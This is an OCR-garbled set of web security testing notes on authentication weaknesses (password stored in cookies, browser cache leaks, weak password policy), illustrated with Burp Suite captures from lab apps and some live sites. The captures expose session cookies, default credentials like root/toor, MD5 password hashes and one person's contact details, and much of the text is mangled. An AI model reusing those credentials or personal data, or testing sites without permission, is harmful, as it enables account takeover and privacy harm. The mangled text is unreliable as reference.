DFT //WebCoac/attack?Screen=3/tasenu=1400/succeeded=yes HTTP/1.1 A Hot: 152.166.222.136 User-Agent: Hozilla/S.0 (Windows NT 10.0; Win64; x64; rr: 58.0) Gecko/20100101 Firefox/58.0 Accent: text/thal.amplication/thatila.amplication/rplicat0.9 */*:gr0.8	Choose another language: Engl
Accept-Language: en-GB,en;q=0.5	Forced Browsing
Accept-Encoding: grip, deflate Cookie: db.rpostmategradbit=0-,1-,2-,3-,4-,5-,6-6advancedstuff=0-,1-,2-; accpendivid=swingset,jotto,phpbD_redmine; acgroupsvithpersist=nada; HPSRSSID=gradba00d thmousai;nub.3atL.J SKSSIOUD=10:40845C6617376D9ACB47327CC076; _cvclone_ession=BAN7D0k1D3Hc3HbD2:19bD25440000g2FbH:JV01731L2TU4HWHyMbhLHDU4H}AHWF1YLmESD=4Hs GC29sAVFB:H75/3JAU2FAVUD=AbkH:MHTNELbXVFbH/NT1C01UHFF3rdAvS45HTNU2f2vcadfUm2LUVZq0 UESBjsARF1875/3JAU2FAVUD=AbkL:MHTNELbXVFbH/NT1C01UHFf3rdAvS45HTNU2f2vcadfUm2LUVZq0 UESBjsARF1810: Basic dd/125HdD93ZWJhD2F0 Connection: close Upgrade-Insecure-Requests: 1	How to work with. Solution Videos WebGoat Restart the Lesson Http Basics and the state of the sta
	Wetcome to WebGoand on the attom to age

Session ID Predict

Many web applications manage au	thentication by using session identifiers (session
	IDs). Therefore, if session ID generation is
predictable, a malicious user could	be able to find a valid session ID and gain
unauthorized access to	the application, impersonating a
	previously authenticated user.

Tools

Burp Suite ZAP WebGoat

5. Test remember password functionality

Register		
Home	Buy	
USERNAME:	admin	
PASSWORD:	****	
	Login	

How to Test:

Look for password being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in clear text, but are hased.

42	https://phpapp.infosecaddicts.com	GET	/showfile.php?filename=contactus	~		200	9916	HTML	php	Acme laptop
110	10 https://phpapp.infosecaddicts.com POST /authenticate.php		~				HTML	php		
111	11 https://phpapp.infosecaddicts.com POST /authenticate.php		~		302	579	HTML	php		
112	https://phpapp.infosecaddicts.com	GET	/login.php?error=Invalid+User-Na	\checkmark		200	9807	HTML	php	Acme laptop
114	https://phpapp.infosecaddicts.com	POST	/authenticate.php	\checkmark		302	579	HTML	php	
115	https://phpapp.infosecaddicts.com	GET	/login.php?error=Invalid+User-Na	\checkmark		200	9807	HTML	php	Acme laptop
116	https://phpapp.infosecaddicts.com	POST	/authenticate.php	~	~	500	1318	HTML	php	500 Internal Server Err
2	https://phpapp.infosecaddicts.com	GET	/cdn-cgi/apps/head/ckgy0PiWGjg			304	711	script	js	
4	https://phpapp.infosecaddicts.com	GET	/cdn-cgi/scripts/5c5dd728/cloud			304	520	script	js	
5	https://ajax.cloudflare.com	GET	/cdn-cgi/scripts/95c75768/cloud			304	514	script	js	
<u></u>										
Requ	iest									
Raw	Raw Params Headers Hex									
POST /	OST /athenticate.php HTTP/1.1									
Hoat:	Host: phpapp.infosecaddicts.com									
Accent	aer-Agent: Nozilla/5.0 (Nacintosh; Intel Nac OS X 10.13; rvi68.0) Geoko/20100101 Firefox/68.0 Nozot: text/tent acollogios/twittentivut acollogios/twittentivut (Atoran 8									
Accept	-Language: en-US,en;g=0.5		.,							
Accept	-Encoding: gzip, deflate									
Refere	Referer: https://phpapp.infoaecaddicts.com/login.php									
Conter	iontent="yp9: application/x=www-rozm-priencoded"									
Connec	Contection Solidaria Contection Solidaria									
Cookie	200kie:									
auc=	<u>auc=4</u> e20d75b16c5e989ea135b1a1af; <u>tawkupid=e::infcasecaddicts.com::AptkfrgPF6GWN88K8Tq88wvukfPHuRU+589K8±d825wOontFQ+agNYEMx4cBhX//::2;</u>									
Upgrad										
userna	username=123456tresponse= <mark>be263940a19f635f645cc641bfe5b17d</mark>									

Examine the hashing mechanism: if it is a common, well-know algorithm, check for its strength, it homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable.

Original Hash (Md5):
C Select Original Hash
21232f297a57a5a743894a0e4a801fc3

Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application.

470 http://192.168.222	136 Gi	ET	/wordpress/wp-admin/themes.php	200	5190	HTML	php	Broken WordPress &rsa			
Request Response											
Raw Params Headers Hex											
GET /wordpress/wp-admin/themes.php HTTP/1.1											
Host: 192.168.222.136											
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0											
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8											
Accept-Language: en-GB,en;q=0.5											
Accept-Encoding: gzip, deflate											
Referer: http://192.168.222.136/wordpress/wp-admin/											
Cookie: wordpressuser_295ef8ad706987b0db44cld33eclb0lc=admin; wordpresspass_295ef8ad706987b0db44cld33eclb0lc <mark>=c3284d0f94606delfd2af172abal5bf3;</mark>											
dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada											
Connection: close											
Upgrade-Insecure-Requests: 1											
If-Modified-Since: Thu, 22 Feb 2018 06:51:32 GMT											

Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

• Check for: autocomplete = "off"

		ACMELAP	TOP	Re	egister				
Ca	tegories			Hor	ne	Buy	/	C	areer
>	Acer								
>	Compaq			USERNA	ME:]	
>	Dell			PASSWOI	20.			1	
>	Gateway			FASSWO	CD.				
>	Hewlett					Login			
>	Ibm								
>	Sony								
>	Toshiba								
	Inspector	Console	Debugger	<pre>{} Style Editor</pre>	Performance	ce 🕼 Memory	↑↓ Network	E Storage	Acce:
Q	Search HTML						+ 💉	Filter Styles	
<tr< td=""><td></td></tr<>									

6. Testing for Browser cache weakness

Browsers can store information for purposes of caching and history. Caching is used to improve performance, so that previously displayed information doesn't need to be downloaded again. History

mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the resource was retrieved. If sensitive information is displayed to the user (such as their address, credit card details, Social Security Number, or username), then this information could be stored for purposes of caching or history, and therefore retrievable through examining the browser's cache or by simply pressing the browser's "Back" button.

How to test:

If by pressing the "Back" button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

Authentication does not necessarily need to be involved in the testing. For example, when a user enters their email address in order to sign up to a newsletter, this information could be retrievable if not properly handled.

The "Back" button can be stopped from showing sensitive data. This can be done by:

Delivering the page over HTTPS.
Setting Cache-Control: must-re-validate

Browser Cache. In Here testers check that the application does not leak any sensitive data into the browser cache. In order to do that, they can use a proxy (such as Burp Suite) and search through the

r responses that belong to the session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:

Cache-Control: no-cache, no-store Expires: 0 Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-Control header in order to better prevent persistently linked files on the file system:

Cache-Control: must-revalidate,pre-check=0, post-check=0, max-age=0, s-maxage=0

The exact location where that information is stored depends on the client operating system and on

e browser that has been used.

Mozilla Firefox:

Internet Explorer:

C:\Documents and Settings\Local Settings\Temporary Internet Files Example: serve

th

← → ♂ ŵ	🛈 🔒 https://attack.samsclass.info/cookielogin/
Cookie Login Pa	ge
CLOUDFLARE	
Name:	
Password:	
Submit Query	
Logins to try	
root toor admin password	
Last revised 10-10-14 1:04 pm by S	am Bowne

Login with name root password toor and intercept to analysis packet

594	https://atta	ck.samsclas	ss.info	GET	/cookielogin/cookielogin.php?n=root&p=	~	302	6
595	595 https://attack.samsclass.info GET /cookielogin/messageboard.php 200							1
596 https://attack.samsclass.info HEAD /cookielogin/messageboard.php 200						200	2	
Requ	est Resp	onse						
Raw	Params	Headers	Hex					
GET /c	cookielog	in/cookie	elogin	.php?n=root	&p=toor HTTP/1.1			_
Host:	attack.s	amsclass.	info					
User-A	Agent: Mo	zilla/5.0) (Win	dows NT 10.	0; Win64; x64; rv:58.0) Gecko/	20100101 H	Firefox/58.0	
Accept	: text/h	tml, appli	icatio	n/xhtml+xml	,application/xml;q=0.9,*/*;q=0	. 8		
Accept	-Languag	e: en-GB,	,en;q=	0.5				
Accept	Accept-Encoding: gzip, deflate							
Referer: https://attack.samsclass.info/cookielogin/								
Cookie	: . ASPXA	UTH=INVAJ	LID; A	UTH=INVALID	;cfduid=d725a8b09f8f0aa2f49	cf5c08613d	:008a1513578976	
Connec	ction: cl	ose						
Upgrad	le-Insecu	re-Reques	sts: 1					

594	https://atta	ck.samsclass.inf	o GE	T	/cookielogin/cookielogin.php?n=root&p=	\checkmark	302	63	8 HTN	IL php	Logging In
595	https://atta	ck.samsclass.inf	o GE	т	/cookielogin/messageboard.php		200	180	61 HTN	IL php	Message Boa
596	https://atta	ck.samsclass.inf	o HE	AD	/cookielogin/messageboard.php		200	26	5 HTN	1L php	
Degu	aet Deen	0060									
Requ	iesi kesp	unse									
Raw	Headers	Hex HTML	Render								
HTTP/1	.1 302 F	ound									
Date:	Fri, O2	Mar 2018 07:	12:17 GM	ÍT							
Conter	nt-Type:	text/html; c	harset=U	JTF-8							
Connec	tion: cl	ose	60 71-1-0		20Ch C 40-05 401045	00 Mar 2010	07.10.15	CMT . 14		1000	
Set-Co	okie: .A	SPXAUTH=63a9 TH=63a9f0ea7	10ea/bb9	180501 196664	/960649685481845; expires=Fri, 19685481845: expires=Fri, 09-Ma	09-Mar-2018 r-2018 07:13	07:12:17 2-17 CMT-	Max-Ag	lax-Age=61	J4800	
Locati	on: mess	ageboard.php	, 00000,000	Jobes	secondicio, expires-rii, os na	1 2010 07.1	, 5111,	nax xy	16-004000		
Expect	-CT: max	-age=604800,	report-	uri="	https://report-uri.cloudflare.	com/cdn-cgi,	/beacon/e	xpect-c	t"		
Server	:: cloudf	lare									
CF-RAY	7: 3f520d	da0e13a30e-H	KG								
Conter	nt-Length	: 104									
<html></html>	<head><t< td=""><td>itle>Logging</td><td>In<td>:le><!--</td--><td>/head></td><td></td><td></td><td></td><td></td><td></td><td></td></td></td></t<></head>	itle>Logging	In <td>:le><!--</td--><td>/head></td><td></td><td></td><td></td><td></td><td></td><td></td></td>	:le> </td <td>/head></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	/head>						
<body< td=""><td>bgcolor=</td><td>"#cccccc"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></body<>	bgcolor=	"#cccccc">									
<hl>Lo</hl>	gging In										
<td><pre>/html></pre></td> <td></td>	<pre>/html></pre>										
595	https://attack	samsclass info	GFT	/cooki	elogin/messageboard.php	200	1861	нтмі	oho	Message Board	
596	https://attack	samsclass.info	HEAD	/cooki	elogin/messageboard.php	200	265	HTML	php		
Deque	Paenon						_				
	Keapon										
Raw	Params I	leaders Hex									
GET /co	ookielogin	/messageboard.	php HTTP,	/1.1							
Host: a	attack.sam	sclass.info	TTC NT 10	0 · Wi	p64: x64: xx: 59 0) Cocke (20100101)	ivofov/EQ D					
Accept:	text/htm:	l,application/	/xhtml+xmi	l,appl	.ication/xml;q=0.9,*/*;q=0.8	firelox/50.0					
Accept	-Language :	en-GB,en;q=0.	. 5								
Accept-	-Encoding:	gzip, deflate	e 1	/	-lenin (
Cookie:	ASPXAUI	H=63a9f0ea7bb	98050796b	649e85	481845; AUTH=63a9f0ea7bb98050796b6	49e85481845;	cfduid=d	l725a8b09	f8f0aa2f49	9cf5c08613c008a	1513578976
Connect	cion: clos	e									
Upgrade	e-Insecure	-Requests: 1									
595	https://attac	k.samsclass.info	GET	1	'cookielogin/messageboard.php		200	1861	HTML	php	Message Board
596	https://attac	k.samsclass.info	HEAD	D /	'cookielogin/messageboard.php		200	265	HTML	php	
Degue	Doopo										
Reque	est Respu	lise									
Raw	Headers	Hex HTML	Render								
HTTD/1	1 200 08										
Date: 1	.1 200 OF Fri. 02 M	ar 2018 07:1	2:17 GMT								
Content	t-Type: t	ext/html; ch	arset=UT	F-8							
Connect	tion: clo	se									
Vary: J	Accept-Er	coding									
Expect	-CT: max-	age=604800, :	report-u	ri="h	ttps://report-uri.cloudflare.com	1/cdn-cgi/be	acon/expe	ct-ct"			
CF-RAY	: 3f520dd	are d9e6ba308-HK	G								
	t - Length:	1551									

As you can see, we are not have any Cache-control header in response packet.

From message board page, let's click logout button. And click "Back button" on your browser or in history (Ctrl + H) choose message board , we will catch this result out.

Message Board	
CLOUDFLARE	
AUTH COOKIE: 63a9f0ea7bb98050796b649e85481845	
Welcome Linux Root User!	
Comment:	
Erase Comments	
Logout	
C û ▲ https://attack.samsclass.info/cookielogin/logout.php?L	.ogout=Logout
You are now logged out!	
Click here to log in	

$(\leftarrow) \rightarrow $ C' \textcircled{a}	i 🔒 https://attack.samsclas	s.info/cookielogin/logout.php?Logout=Logout
⊙ History ~	×	You are now logged out!
	Vie <u>w</u> •	
attack.samsclass.info/cookielogin/co	omments.html	Click here to log in
🛞 Logout		
🛞 Message Board		
🛞 Cookie Login Page		
\leftrightarrow \rightarrow \bigcirc	🛈 🔒 https://attack	.samsclass.info/cookielogin/messageboard.php
Message Board	d	
CLOUDFLA	R E [.]	
AUTH COOKIE: 63a9f0ea7bb	98050796b649e85481845	
Welcome Linux Root Us	er!	
Comment:		
Post Comment		
Error Commonte		
Erase Comments		
Logout		

7. Testing for Weak password policy

Test objectives

Determine the resistance of the application against brute force password guessing using available

password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

How to test:

- 1. What characters are permitted and forbidden for use within a password? Is the user required to use characters from different character sets such as lower and uppercase letters, digits and special symbols?
- 2. How often can a user change their password? How quickly can a user change their password after a previous change? Users may bypass password history requirements by changing their password 5 times in a row so that after the last password change they have configured their initial password again.
- 3. When must a user change their password? After 90 days? After account lockout due to excessive log on attempts?

4. How often can a user reuse a password? Does the application maintain a history of theuser's previous used 8 passwords?

5. How different must the next password be from the last password?

6. Is the user prevented from using his username or other account information (such as first or last name) in the password?

Example:

Review source code and get present password policy of system, make sure they following something shown below:

(Password must meet at least 3 out of the following 4 complexity rules)

- At least 1 uppercase character (A-Z)
- At least 1 lowercase character (a-z)
- At least 1 digit (0-9)
- At least 1 special character
- At least 10 characters
- At most 128 characters
- Not more than 2 identical characters in a row (e.g., 111 not allowed)

	Strong
CONFIRM PASSWORD	
•••••	

Host: sso.godaddy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: application/json Accept-Language: en-GB, en; q=0.5 Accept-Encoding: gzip, deflate Referer: https://sso.godaddy.com/account/create?regionsite=vn&realm=idp&path=%2fproducts&app=account&marketid=vi-WN content-type: application/json origin: https://sso.godaddy.com Content-Length: 244 Cookie: ssoinit=1; market=vi-VN; currency=VND; traffic=; tcc cvg=le9cae8e-1753-44e3-bcc5-040732b0c484; visitor=vid=786e69ff-4355-47e1-9bc2-61a0f61636f2; fb sessiontraffic=S T0UCH=12/18/2017%2008:13:14.076&pathway=786e69ff-4355-47e1-9bc2-61a0f61636f2&V DATE=12/18/2017%2001:13:03.385&pc=3; pathway=786e69ff-4355-47e1-9bc2-61a0f61636f2; CT Data=gpv=1&ckp=tld&dm=godaddy.com&apv 3 www23=1&cpv 3 www23=1; ctm=('pgv':2667113499380231|'vst':886755926481224|'vstr':7440885881316831|'intr':1513585065441|'v':1); WRIgnore=true; tcc refer=refer e id=sso.account%252Fcreate.create form.sso.create account.button.click&refer corrid=1864856680 Connection: close

{"create_username":"abhyuday.latrell@affricca.com","create_email":"abhyuday.latrell@affricca.com","create_password":"howaten@lH","creat e pin":"2134","plid":1,"session id":"4c4f3afa-e3cb-11e7-b777-fal63e37851d","captcha code":"","captcha ch":""}

Books Search Login here Image: status Image: status Image: status <th></th> <th></th> <th></th> <th></th> <th></th>					
User name: 1234 Password: 0000 Advanced Search 0000 Str /Login.aspx MTEP/L1 0000 MEEMI /Login.aspx MTEP/L1 00000 MEEMI /Login			Login here		
Raw Params Headers Hex VewState Rev Varianced Action (x here) Image: New User Rev Variance New VewState New User	l	User name	2: 1234		
Title Image Advanced Search New User Raw Params Headers Hex VewState Str Advanced Search New User Str Advanced Search New User <t< td=""><td></td><th>Password</th><td>:</td><th></th><td></td></t<>		Password	:		
Advanced Search Raw Params Headers Hex ViewState STr /login.aspx HTTP/L1 hat: apdotnetapp.infosecadiots.com isr: apdotnetapp.infosecadiots.com isr: hett. Nozilla/S.0 (Macintosh; Intel Nac OS x 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0 isr: isr: isr: hett.pi/lapdotation/xhml+xml.application/xml;q=0.9,*/*;q=0.8 isget:=Isr: http://apdotenetapp.infosecadiots.com/login.aspx isters: http://apdotenetapp.infosecadiots.com/login.aspx intent-Expre: application/x-www-form-orlencoded intent-Expl: application/x-www-form-orlencoded intent-isl: ifolial=def0020645e59a793949bbb19dae0366e1564954288; _ga=Gal.2.781573113.1564954291; _sup=1e20d75b16c5e988ea135b1a1af;			Go		
Advanced Search Raw Params Headers Hex ViewState Ter /login.aspx HTTP/l.1 Ter /login.aspx Into Construction / Intel Kao OS X 10.13; rvi68.0; Gecko/20100101 Pirefox/68.0; Coept-Languer: enulginger: en			New User		
Raw Params Headers Hex ViewState IST /login.aspx MTDF/1.1 ist: aspotentstapp.infosecaddicts.com ist: aspotentstapp.infosecaddicts.com ist=capent: Mozilla/5.0 (Kacintcoh; Intel Mac OS X 10.13; rvi68.0) Gecko/20100101 Pirefox/68.0 isgt-language: on-US_engrg0.5 isgt-isguage: on-US_engrg0.5 isgt-isgt/isgtometapp.infosecaddicts.com/login.asgx metherL=Style: application/x=www-form-urlencoded intent-Isgtometapp: isgtometapp.infosecaddicts.com/login.asgx intent-Isgtometapp: isgtometapp.infosecaddicts.com/login.asgs intent-Isgtometapp: isgtometapp.infosecaddicts.com/login.asgs intent-Isgtometapp: isgtometapp.infosecaddicts.com/login.asgtometapp.infosecaddicts.com/login.asgtometapp.infosecaddicts.com/login.asgtometapp.infosecaddicts.com/login.asgtometapp.infosecaddicts.com/login.com/lo					
Raw Params Headers Hex ViewState IST /login.aspx MTTP/1.1 ist: aagodenstapp.infosecaddicts.com ist: aagodenstapp.infosecaddicts.com iser_dagent: MOSILIA/5.0 (Macintcoh; Intel Mac OS X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0 icept: text.mlxml;relogication/xml;re					
Raw Params Headers Hex ViewState IST /login.aspx MTTP/l.1 set: aspOchenstapp.infosecaddicts.com					
Raw Params Headers Hex ViewState DST /login.aspx HTTP/1.1 set: aspdctnestapp.infosecaddicts.com ist: aspdct/thml,application/x.html+xml,application/xml;q=0.9,*/*;q=0.8 icospt: text/thml,application/x.html+xml,application/xml;q=0.9,*/*;q=0.8 icospt: Text/thml,application/x.html+xml,application/xml;q=0.9,*/*;q=0.8 icospt: Text/thml,application/x-mww-form-subercodd ntent-Language: en-us,engq=0.5 icospt: text/thml,application/x-mww-form-subercodd ntent-Length: 687 mmetclion: close ofduid=dc6029645=59a793349b3b819dae03f6e1564954288; _ga=Gal.2.781573113.1564954291; _sub=4e20d75b16c5e988ea135b1a1af;					
<pre>Num is interacts its its its its its its its its its i</pre>					
<pre>st: aspdotnetapp.infosecaddots.com ser.Agent: Nozilla/S.O (Macintosh; Intel Nac OS X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0 ccept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8 ccept=Encoding; grip, deflate forer: https://aspdotnetapp.infosecaddicts.com/login.aspx ntent=Type: application/x-www-form-urlencoded ntent=Ength: 687 nneotion: close okis:fdiud=de6025645e59a793949b3b819dae03f6e1564954288; _ga=Gal.2.78173113.1564954291;auc=4e20d75b16c5e988ea135b1a1af;</pre>					
icap:: text/html,apploation/xhtml+xml,apploation/xml;g=0.9,*/*;g=0.8 icapt-Language: en-US, en;g=0.5 icapt-Encoding: gzip, deflate ifsers: https://apdotnetapp.infosecaddicts.com/login.aspx intent-Engin: application/x-www-form-urlencoded intent-Engin: close okis:fdiud=de6022645e59a793949b3b819dae03f6e1564954288; _ga=Gal.2.781573113.1564954291;auc=4e20d75b16c5e988ea135b1a1af;	rv:68.0) Ger	Gecko/20100101	Firefox/68.0		
icept-Encoding: gyip, defiate Sfører: https://apdoinetapp.infoseoaddicts.com/login.aspx intent-Engit: 687 intent-Engit: 687 okterfduid=de6029645e59a793949b3b819dae03f6e1564954288; _ga=Gal.2.781573113.1564954291;quc=4e20d75b16c5e988ea135b1a1af;	J.9,*/*;q=U.	g=0.8			
ntent-Type: application/x-www-form-uriencoded intent-Ength: 687 okks:fduid=dc6029645e59a793949b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291;uc=4e20d75b16c5e988ea135b1a1af;	х				
nnection: close •okie:ofduid=dc6029645e59a793349b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291;auc=4e20d75b16c5e988ea135b1a1af;					
	38; ga=GAl	GA1.2.781573113.	1564954291; auc=4e20d75b1	6c5e988ea195blalaf;	
<u>tawkubid=e::intoaecadicta.com::AptkfxgPF6GWh88K8Tq88wukfPHuRU+589K8td825wOchtPQ+agWYEK44CBhX//::2; _atripe_mid=b53f835b-625c-4a04-8fe8-(bp=fb.l.1564955153850.417041806; _gid=GAl.2.1223647954.1565405500; _aac=b7c442d516c7970cc2e47282e13 gradd=Inaecure-Requesta: 1</u>	cfpHuR0+589) 365405500;	-559KS±d825wOcn±P()0;aac=b7c442d)	Q+agNYEMx4cBhX//::2;atri 516c7970cc2e47282e13	pe_mid=b53f835b-625c-4a04-8fe8	3-075c7bbca7cf;
EVENTARGET=6 EVENTARGUNENT=6 VIEWSTATE=52 PWEPDWULLTEXNDNWNZAWOTIPSEYCSg9kPgICAW9kPgYCBw8PPgIeBlspc2libGVosGqCcw8PPgIfAGhkSAIbOxYCHglpbm (19hb 550mg/an 12h x VongNDh3N0ng 5aht) av 0 fengennühnaw ig 1 i 2 VongNog 5 idgwwn son 2 N 2 V 1 a septythruwis 3 san aka was yn dy ar by bawe twnho aw 15 bosi	NDNWNZAWOTII 2 VhomNoBEE iv	OTIPSBYCSg9kFgIC: WE dGwwWCEpylNly	Aw9kFgYCEw8PFgIeB1spc2libGVc XJiaCEPTVbTUwUEY3EawD2kaWD0	©SGQCCw8PFgIfAGhkSAIbDxYCHglpt SYd z5WlbatwsFIW0DDawJENybo5lbo	om51omh0bWwP01d1bGNvbWUg2 a Bobge jaubybge1o jakaWJWb/
18986/secole start wyo wyo benegan jactersty grownood and site worked wy the first and jack for work start and a solar in a wet who be a start of the solar start and a solar in a wet who be a start of the solar start and a solar	R=C2EE9ABBEC	BBECt100%24txtSe	arch=Ect100%24txtSearchDONX:	SS=Ect100%24dd1AdvSearch=Title	<pre>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>></pre>

Try to Bypass client side

 Raw
 Params
 Headers
 Hex
 ViewState

 POST
 /login.sapx
 HTTP/1.1

 Visar-Agent: Mozill42.5.0 (Maintrachi Intel Mac OS X 10.13; rv:68.0] GeoKo/20100101 Firefox/68.0

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

 Accept: nording: gsip, deflate

 Referent: https://appdotnetapp.infcsecaddicts.com/login.aspx

 Content-Type: application/x-www-form-urlencodd

 Content-Type: digid=in-infcsecaddicts.com/login.aspx

 Content-Topdt: 637

 Constitution: close

 Cookis: _______dfde6023645e59a7933495b5019de0356e1564954288; __ga=cgl.2.781573113.1564954291; __asc=4e20d75b16c5e988ea135b1a1af; _________textwould=stiinfcsecaddicts.com:inptkTxgFfGdmB0808g8wvukfPHurw+5s9K8td825wont+CreagWTXx4CeRX//::2; _______teripe_mid=b53f835b-625c-4a04-8fe8-075o7bbca7cf; ________fber=fb.1.166495515950.4170410854051.2.1223647954.1565405500; ____asc=b7642d51607870c2e47282a13

 Vapda=_inaccure_Reguests: 1

Generate commonly password file and try to login to make sure website ban commonly password

Hex Raw Params Headers User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: application/json, text/plain, */* Accept-Language: en-GB, en; q=0.5 Accept-Encoding: gzip, deflate Referer: http://violympic.vn/register Content-Type: application/json;charset=utf-8 X-TS-AJAX-Request: true Content-Length: 382 Cookie: lang=vi-VN; sac=8657ffa9-eb0c-4751-8d73-96911a80ba0d; Conte: Img-C1 Var, Sac-SSST125 = Sac Var Sdr5 Var Sd Connection: close

{"userType":"STUDENT","lastName":"lầng và ","firstName":"nhằng","username":"nhangvalang","password":"<mark>P@sswOrd</mark>","passwordConfirm":"<mark>P@sswOrd</mark>",

Request Response
Raw Headers Hex
HTTP/1.1 200 0K
X-Powered-By: Express
Vary: Origin, Accept-Encoding
Content-Type: application/json; charset=utf-8
Content-Length: 3484
ETag: W/"d9c-40U9tqlJH99MRHH0B/xKtUBTZyo"
set-cookie: connect.sid=s%3APsCXVTJ315bLC5HS_3e3NK25YT2afTgs.SdjBteV33DYUUHIwcuhhU0VZBARSI4%2BL0v3T%2B18%2Ft0s; Path=/; Expires=Tue, 15 Jan 2019 06:32:1
Date: Mon, 15 Jan 2018 06:32:19 GMT
Connection: close
Set-Cookie:
TS01cf5343=01c5dae002e3f9390d5e4556ca7e808f5e54103d0e2467653d8aac4bd4bc7c8517cea799aaecb699dba2bd99f473e405b5e8810edb9172c5f9de0b8e6268e6716a73b4d083ea

("user":("username":"nhangvalang","birthday":"2005-12-14T00:00:00.0002","firstName":"nhằng","lastName":"lằng và nhằng","email":"langvanhang@gmail.com","phoneNumber":"01688456252","userType":"STUDENT","agree":true,"password":"<mark>P@sswOrd</mark>","passwordConfirm":"<mark>P@sswOrd</mark>",

If password not comply policy password, make sure error message will be show to user Đăng ký tài khoản mới

Thông tin cá nhân*

<u>ہ</u>		
la	ng	va

nhằng

Họ, tên đệm chỉ có thể là các ký tự a-z, A-Z và khoảng trắng

Tài khoản*

langvanhang

Tên đăng nhập phải lớn hơn 6 ký tự, chỉ chứa các ký tự a-z, các chữ số 0-9 và dấu _.

-	-	
•	•	•

•••

Mật khẩu tối thiểu 6 chữ số

Mật khẩu phải có ít nhất 6 ký tự bao gồm chữ cái hoặc số và các ký tự đặc biệt

Check for password hint

	*
Login	
Password	
Submit	

You can use any of the following accounts for this test system. foo : foo sue : sue

bob : bob

• List all forbidden characters such as: <>/+... and make sure they are not used in password

Raw Params Headers Hex Accept: application/json, text/plain, */* Accept-Language: en-CB,en;q0.5 Content-Type: application/json;chsset=utf-8 X-TS-AIX-Bequest: true Content-Length: 390 Cootent: langevi-WI; sac=0657ffa5-eb0c-4751-0473-96911a80ba0d; TSOLcf5343=Olcsdae00cc0fJbbbbd00f1l4b401f740683affc46737bdbae69a4167756ba06ed6a10lcf34b502027efb340510c3138b159bb737c337533e1e74dd53db404a5f993a9113846983f7c20c _qac40.1.2;6723101.1;615591102; _gid=6A1.2;101925563;151599102; _gads=1D=abda08cfd0a5ba67:T=1515991103;S=ALNT_MZxQ4BuWnrawvdiPnaUv7bLPc0t7A; connect.sid=st3APscXVTJ315bLCSHS_s0HCVT2afTgs.SdjBteV33DYUUHIvcuhHU0VZBABS14t2BL0v37t2B18t2Ftos	Request Response
<pre>Accept: application/jsom, text/plain, */* Accept-Incoding: gzip, deflate Refere: http://violyapic.vm/register Content-Type: application/json.charset=utf=8 X-TS-AJAX-Request: true Content-Type: application/json.charset=utf=8 X-TS-AJAX-Request: true Content-tempth: 398 Cookie: lang=wi-VW; sac=8657ffaS-eb0c-4751-8d73-56511a80ba0d; TS01cf5343=01c5dae002coff2bbbbd00f11b48d1f740683affc46737bdbaae85a4267756ba06ed6a181cf34b578227efb348518c3138b155bb737c337533e1e74dd53db404a5f953a5113846593f7c20c _ga=GA1.2.567231181.1515951182; gid=GA1.2.101925563.1515951182; _gade=ID=abda08cfd8a5ba67;T=1515951803:S=ALNI_MZxQ4BuWmrawvdiPnaUvYbLFc0t7A; connect.sid=s\$3A5xCXVT3315bLCSHS_8=83NKC5YT2afTgs.SdjBteV33DYUUHIvcuhHU0VZBARS14t2BL0v37t2B18t2Ft0s Connect.sid=s\$3A5xCXVT3315bLCSHS_8=3NKC5YT2afTgs.SdjBteV33DYUUHIvcuhHU0VZBARS14t2BL0v37t2B18t2Ft0s </pre>	Raw Params Headers Hex
<pre>Accept=Language: en-CB, en;q=0.5 Accept=Language: en-CB, en;q=0.5 Refere: http://tiolympic.tmy/register Content=Type: application/json;charset=utf=8 X-TS-AJAX-Request: true Content=Length: 398 Coole: lang=vi=VH; sac=8657ffa5=eb0c=4751-8d73=96911a80ba0d; TSOLcf5343=Olc5dae00c=0fIbbbd00f114b401f740683affc46737bdba06984267756ba06ed6a181cf34b528227efb348518c3138b159bb737c337533e1e74dd53db404a5f993a9113845983f7c20c _gac&Al.2.56723101.155991162 _gid=Al.2.1.2.101255563.1515991162;gads=ID=abda08cfd8a5ba67:T=1515991183:S=ALNT_MZ:x04BuWnrawvd1PnaUv7bLPc0t7A; connect.sid=s\$3APsCXVTJ315bLCSHS_se3NRC5YTCafTgs.SdjBteV33DY0UHIwcuhhU0VZBARS14t2BL0v37t2B18t2Ft0s</pre>	Accept: application/json, text/plain, */*
